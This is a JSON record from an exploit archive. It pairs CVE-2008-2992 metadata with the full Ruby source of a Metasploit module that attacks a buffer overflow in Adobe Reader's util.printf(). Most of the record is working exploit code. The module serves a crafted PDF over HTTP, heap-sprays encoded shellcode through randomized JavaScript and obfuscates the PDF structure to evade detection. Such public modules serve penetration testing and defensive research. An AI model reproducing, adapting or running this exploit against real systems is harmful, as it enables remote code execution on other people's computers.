{"exploit":{"id":"MSF-windows--browser--adobe_utilprintf","name":"Adobe util.printf() Buffer Overflow","description":"This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf() entry, an attacker may be able to execute arbitrary code.","cves":["CVE-2008-2992"],"author":"MC, Didier Stevens","published":"2008-02-08","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/browser/adobe_utilprintf.rb","path":"modules/exploits/windows/browser/adobe_utilprintf.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"adobe_utilprintf.rb","vulnerabilities":[{"id":"CVE-2008-2992","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows remote attackers to execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format string argument, a related issue to CVE-2008-1104.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2992","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2992"},"updatedAt":"2025-10-22T00:05:55.512Z","retrievedAt":"2026-11-26T14:16:58.144Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--adobe_utilprintf.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--adobe_utilprintf","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--adobe_utilprintf/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--adobe_utilprintf/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'zlib'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Adobe util.printf() Buffer Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional\n          < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()\n          entry, an attacker may be able to execute arbitrary code.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],\n        'References' => [\n          [ 'CVE', '2008-2992' ],\n          [ 'OSVDB', '49520' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],\n        ],\n        'DisclosureDate' => '2008-02-08',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def autofilter\n    false\n  end\n\n  def check_dependencies\n    use_zlib\n  end\n\n  def on_request_uri(cli, request)\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    # Encode the shellcode.\n    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n    # Make some nops\n    nops = Rex::Text.to_unescape(make_nops(4))\n\n    # Randomize variables\n    rand1 = rand_text_alpha(rand(100) + 1)\n    rand2 = rand_text_alpha(rand(100) + 1)\n    rand3 = rand_text_alpha(rand(100) + 1)\n    rand4 = rand_text_alpha(rand(100) + 1)\n    rand5 = rand_text_alpha(rand(100) + 1)\n    rand6 = rand_text_alpha(rand(100) + 1)\n    rand7 = rand_text_alpha(rand(100) + 1)\n    rand8 = rand_text_alpha(rand(100) + 1)\n    rand9 = rand_text_alpha(rand(100) + 1)\n    rand10 = rand_text_alpha(rand(100) + 1)\n    rand11 = rand_text_alpha(rand(100) + 1)\n    randnop = rand_text_alpha(rand(100) + 1)\n\n    script = %Q|\n    var #{rand1} = unescape(\"#{shellcode}\");\n    var #{randnop} = \"#{nops}\";\n    var #{rand2} =\"\";\n    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});\n    #{rand4} = #{rand2} + #{rand1};\n    #{rand5} = unescape(\"#{randnop}\");\n    #{rand6} = 20;\n    #{rand7} = #{rand6}+#{rand4}.length\n    while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};\n    #{rand8} = #{rand5}.substring(0, #{rand7});\n    #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});\n    while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};\n    #{rand10} = new Array();\n    for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};\n    util.printf(\"%45000.45000f\", 0);\n          |\n\n    # Create the pdf\n    pdf = make_pdf(script)\n\n    print_status(\"Sending #{self.name}\")\n\n    send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })\n\n    handler(cli)\n  end\n\n  def random_non_ascii_string(count)\n    result = \"\"\n    count.times do\n      result << (rand(128) + 128).chr\n    end\n    result\n  end\n\n  def io_def(id)\n    \"%d 0 obj\" % id\n  end\n\n  def io_ref(id)\n    \"%d 0 R\" % id\n  end\n\n  # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/\n  def n_obfu(str)\n    result = \"\"\n    str.scan(/./u) do |c|\n      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'\n        result << \"#%x\" % c.unpack(\"C*\")[0]\n      else\n        result << c\n      end\n    end\n    result\n  end\n\n  def ascii_hex_whitespace_encode(str)\n    result = \"\"\n    whitespace = \"\"\n    str.each_byte do |b|\n      result << whitespace << \"%02x\" % b\n      whitespace = \" \" * (rand(3) + 1)\n    end\n    result << \">\"\n  end\n\n  def make_pdf(js)\n    xref = []\n    eol = \"\\x0d\\x0a\"\n    endobj = \"endobj\" << eol\n\n    pdf = \"%PDF-1.5\" << eol\n    pdf << \"%\" << random_non_ascii_string(4) << eol\n    xref << pdf.length\n    pdf << io_def(1) << n_obfu(\"<</Type/Catalog/Outlines \") << io_ref(2) << n_obfu(\"/Pages \") << io_ref(3) << n_obfu(\"/OpenAction \") << io_ref(5) << \">>\" << endobj\n    xref << pdf.length\n    pdf << io_def(2) << n_obfu(\"<</Type/Outlines/Count 0>>\") << endobj\n    xref << pdf.length\n    pdf << io_def(3) << n_obfu(\"<</Type/Pages/Kids[\") << io_ref(4) << n_obfu(\"]/Count 1>>\") << endobj\n    xref << pdf.length\n    pdf << io_def(4) << n_obfu(\"<</Type/Page/Parent \") << io_ref(3) << n_obfu(\"/MediaBox[0 0 612 792]>>\") << endobj\n    xref << pdf.length\n    pdf << io_def(5) << n_obfu(\"<</Type/Action/S/JavaScript/JS \") + io_ref(6) + \">>\" << endobj\n    xref << pdf.length\n    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))\n    pdf << io_def(6) << n_obfu(\"<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>\" % compressed.length) << eol\n    pdf << \"stream\" << eol\n    pdf << compressed << eol\n    pdf << \"endstream\" << eol\n    pdf << endobj\n    xrefPosition = pdf.length\n    pdf << \"xref\" << eol\n    pdf << \"0 %d\" % (xref.length + 1) << eol\n    pdf << \"0000000000 65535 f\" << eol\n    xref.each do |index|\n      pdf << \"%010d 00000 n\" % index << eol\n    end\n    pdf << \"trailer\" << n_obfu(\"<</Size %d/Root \" % (xref.length + 1)) << io_ref(1) << \">>\" << eol\n    pdf << \"startxref\" << eol\n    pdf << xrefPosition.to_s() << eol\n    pdf << \"%%EOF\" << eol\n  end\nend\n","sha256":"6eca806bf6824ab4d0d9d19f208271a227694d0391b2d246341ff07ca209888b","bytes":5628,"fetchedAt":"2026-11-26T14:16:58.026Z","encoding":"utf-8 (display only; download retains original bytes)"}